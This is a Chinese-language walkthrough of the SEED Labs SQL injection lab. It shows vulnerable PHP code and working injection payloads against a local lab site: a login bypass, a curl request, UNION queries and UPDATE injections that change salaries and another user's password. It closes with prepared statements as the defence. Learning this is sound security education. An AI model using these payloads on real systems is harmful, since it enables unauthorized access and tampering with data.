Lab Environment Setup
在Linux下的/etc/hosts种添加下面的映射
10.9.0.5 www.seed-server.com
进入Labsetup根目录,运行dcbuild构建容器,dcup启动容器
dcbuild # alias for docker-compose build
dcup # alias for docker-compose up
访问http://www.seed-server.com
即可进入实验环境
Task 1: Get Familiar with SQL Statements
可以在vscode的扩展市场下载SQl Server Client(mssql)
这个插件
然后创建一个新连接服务类型选择MySQL,主机名选择数据库容器运行的IP为10.9.0.6
比如运行这条指令,会显示当前使用的数据库的所有表
SHOW TABLES
从credential表中取出ID字段为1的数据
SELECT * FROM credential WHERE `ID`=1 LIMIT 0,100
Task 2: SQL Injection Attack on SELECT Statement
要求我们在不知道任何员工的登陆凭证的情况下登陆系统。
给出了关键部分的后台PHP代码如下所示。获取用户提交的GET参数中获取用户名和密码,然后对密码计算sha1散列值,拼接到sql语句执行查询,以完成身份的校验。
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
// 略
$sql = "SELECT id, name, eid, salary, birth, ssn, address,
email, nickname, Password FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
$result = $conn -> query($sql);
// The following is Pseudo Code
if(id != NULL) {
if(name=='admin') {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}
这段代码对用户的输入没有做任何的过滤,因此非常危险。
Task 2.1: SQL Injection Attack from webpage
查询语句如下,对于用户输入的用户名使用单引号包裹。
$sql = "SELECT id, name, eid, salary, birth, ssn, address,
email, nickname, Password FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
我们可以构造输入的用户名,将整个语句提前闭合,并将后面的内容注释掉,如下所示
SELECT id, name, eid, salary, birth, ssn, address,
email, nickname, Password FROM credential
WHERE name= 'Alice' #' and Password='$hashed_pwd'
所以我们在登陆时输入用户名Alice' #
,然后点击登录
登陆成功
Task 2.2: SQL Injection Attack from command line
curl
是一个命令行工具,用于在终端或命令行界面下发送 HTTP 请求并获取响应。它支持多种协议,包括 HTTP、HTTPS、FTP、TELNET 等。
除了在网页完成注入攻击,我们还可以使用python脚本或者curl
工具来完成SQL注入,这些方法相比较直接在网页注入的优势是可以自动化完成任务,curl
工具也可以编写shell脚本来完成自动化注入,因此比较适合盲注的情况。
这里的登录参数传递方式是GET,因此使用curl
的话命令格式比较简单。注意这里需要将单引号和#号转化成URL编码
curl http://www.seed-server.com/unsafe_home.php?username=Alice%27+%23
这样就会响应我们请求的网页的源代码
Task 2.3: Append a new SQL statement
我们通过SQL注入完成了未经授权的登录,那么如果想要执行额外的SQL语句该如何构造请求参数呢。
可以使用UNION联合查询。UNION 联合查询是一种 SQL 查询技术,用于将两个或多个 SELECT 语句的结果合并成一个结果集。它要求每个 SELECT 语句具有相同的列数,并且相应的列的数据类型和顺序也要相同。
例如构造SQL语句如下
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential WHERE name= 'Alice'
UNION SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential WHERE id=2 #' and Password='$hashed_pwd'
查询到了我们期望的ID字段等于2数据
联合查询将两个或多个 SELECT 语句的结果合并成一个结果集,如果我们要执行UPDATE或者DELETE语句该怎么做呢?可以使用;
将两条语句分割。如下所示,执行完第一个语句后更新数据表将ID字段为1的birth字段设置为3/14。
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential WHERE name= 'Alice';
UPDATE credential SET birth='3/14' WHERE ID=1 #' and Password='$hashed_pwd'
所以可以构造payload如下,修改Alice的薪水。
Alice';UPDATE credential SET salary=999999990 WHERE name='Alice'#
但是无法执行,这是为什么呢?
后端代码执行sql语句调用了这段代码。对于大多数数据库连接库,为了安全,$conn->query($sql)
方法默认只能执行一条SQL语句,不支持在同一个字符串中使用分号分隔多个SQL语句。因此我们在前端注入UPDATE语句无法成功。
$result = $conn -> query($sql);
Task 3: SQL Injection Attack on UPDATE Statement
上面的SELECT语句存在SQL注入漏洞,可能会造成数据库的泄露,如果UPDATE语句存在SQL注入漏洞,危害可能会更严重,因为攻击者可以利用漏洞来修改数据库,造成系统的不可用。
这个网站为用户提供了修改个人信息的功能。更新用户信息的后端部分代码如下所示,同样是没有对用户输入执行任何的过滤。
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;";
$conn->query($sql);
Task 3.1: Modify your own salary
刚刚通过;
方式分割SQL语句执行两条SQL语句的方法修改Alice的薪水行不通。我们可以尝试构造修改信息的参数来修改Alice的薪水。
123456', salary=8888888, SSN='10211002
这样后端执行的SQL语句就是这样,可以成功设置salary字段
UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='123456', salary=8888888, SSN='10211002'
WHERE ID=$id;
填写表单如下,点击save按钮
返回个人信息页面发现修改成功
Task 3.2: Modify other people’ salary
要修改其他人的薪水,可以构造Phonenumber参数如下
123456', salary=1 WHERE name='Boby' #
这样经过拼接后的SQL语句如下所示,可以修改Boby的薪水为1
UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='123456', salary=1 WHERE name='Boby' #' WHERE ID=$id;
查看数据表,修改成功
Task 3.3: Modify other people’ password
这里的密码是经过SHA1散列计算后存入数据库的,因此要修改别人的密码,不能直接修改为明文,那样我们自己也无法使用。可以构造Phonenumber参数如下。使用SH1函数在插入密码123456之前对其进行SHA1散列计算。
123456', Password=sh1('123456') WHERE name='Boby' #
经过这样的构造,执行的SQL语句如下
UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='123456', Password=sh1('123456') WHERE name='Boby' #' WHERE ID=$id;
提交参数,点击save
然后使用账号Boby
密码123456
登录Boby的账号,登陆成功,修改Boby的密码成功。
Task 4: Countermeasure — Prepared Statement
SQL语句的执行处理,分为即时语句和预处理语句。即时语句,顾名思义,一条SQL语句直接是走流程处理,一次编译,单次运行,此类普通语句被称作Immediate Statements
(即时语句)。预处理语句(Prepared Statements
,也称为参数化语句)只是一个SQL查询模板,其中包含占位符而不是实际参数值。在执行语句时,这些占位符将被实际值替换。预处理语句用于执行多个相同的SQL语句,并且执行效率更高。
预处理语句能够有效地防御SQL注入。
相比于直接执行SQL语句,预处理语句有如下优势:
- 预处理语句大大减少了分析时间。一个预处理语句可以高效地重复执行同一条语句,因为该语句仅被再次解析一次。
- 绑定参数减少了服务器带宽,你只需要发送查询的参数,而不是整个语句。
- 使用不同的协议将参数值与查询分开发送到数据库服务器,保证了数据的合法性,有效地防范了SQL注入。因此预处理语句被认为是数据库安全性中最关键的元素之一。
创建SQL语句模板并发送到数据库。预留的值使用参数?
标记 。例如:
INSERT INTO grade (id, name, phonenum, grades) VALUES(?, ?, ?, ?)
服务端数据库解析,编译并对SQL语句模板执行查询优化和语法检查,并将其存储以备后用。
在执行阶段,参数值将发送到服务器,将绑定的值传递给参数(?
标记)。服务端数据库将语句模板和这些值合成一个语句然后执行它。